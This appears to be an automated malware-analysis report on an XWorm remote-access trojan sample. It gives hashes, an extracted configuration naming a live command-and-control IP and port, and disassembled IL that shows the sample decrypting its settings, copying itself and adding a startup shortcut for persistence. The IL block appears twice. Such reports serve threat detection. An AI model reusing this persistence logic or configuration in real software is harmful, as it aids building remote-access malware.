50da1508c6e9c7607cc5594cad1a2afd

PE Executable
|
MD5: 50da1508c6e9c7607cc5594cad1a2afd
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Size: 38.4 KB
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application/x-dosexec

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	50da1508c6e9c7607cc5594cad1a2afd
Sha1	5ed83baf444bd5e1e71c16fd16ae8b0757955138
Sha256	6685b94cd75854876b6d65f83c1b2c886292d9f9eb62dd595ddce7c4ea0dfd8b
Sha384	83fc3f06f1505ac0e3205e14a2515f2a2a3558c1dc1fbbcbfcd66b16c1b67997350127fc20ca7b4d87dff7ddecc0266f
Sha512	dcb8e6c4544d8966146614e32d44a5e657269f7b8800a38f1f9e2da4d16ca7d5607459cb7be3ec878847ab8a780827b336a627c8ebcf139d600e2e2e0428b6d2
SSDeep	768:EIYFQOX+CXgKiT3T1TM6tQPhTFQ9Yo1OMhZbv:EzFQOX+CuT1mVFQ9Yo1OMrT
TLSH	DB035C087BE44226D9FD6FF129B366064370D7079A13D74D48E586AA5F7BEC0CA007EA

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Malware Configuration - XWorm config.

Config. Field0	Value
Mutex	vnRy4DhRVyRokRGp
Hosts	144.126.149.221
Port	7000
KEY	<123456789>
USBNM	<Xwormmm>
LoggerPath	%AppData%
family	xworm

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	XWormClient2025.exe
Full Name	XWormClient2025.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	XWormClient2025.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWormClient2025
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	207
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	213
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>
Module Name	XWormClient2025.exe
Full Name	XWormClient2025.exe
EntryPoint	System.Void Stub.Main::Main()
Scope Name	XWormClient2025.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	XWormClient2025
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	<null>
Total Strings	207
Main Method	System.Void Stub.Main::Main()
Main IL Instruction Count	213
Main IL	ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Hosts call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Hosts ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallStr call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::InstallStr leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00CB: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00D8: ldsfld System.String Settings::InstallDir ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Settings::InstallStr call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_011A: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_0131: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_015C: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_015C: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Settings::InstallStr call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_7 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_9 ldloc.s V_9 ldc.i4.0 <null> ldloc.s V_7 stelem.ref <null> ldloc.s V_9 stloc.s V_10 ldloc.s V_10 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_11 ldloc.s V_11 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_11 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_11 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_01E1: stloc.s V_12 ldloc.s V_10 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_7 stloc.s V_12 ldloc.s V_12 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_13 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_12 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_12 ldloc.s V_7 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0260: call System.Void Stub.Helper::PreventSleep() call System.Void Stub.Helper::PreventSleep() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts

Name0	Value
Mutex	vnRy4DhRVyRokRGp
CnC	144.126.149.221
Port	7000

50da1508c6e9c7607cc5594cad1a2afd (38.4 KB)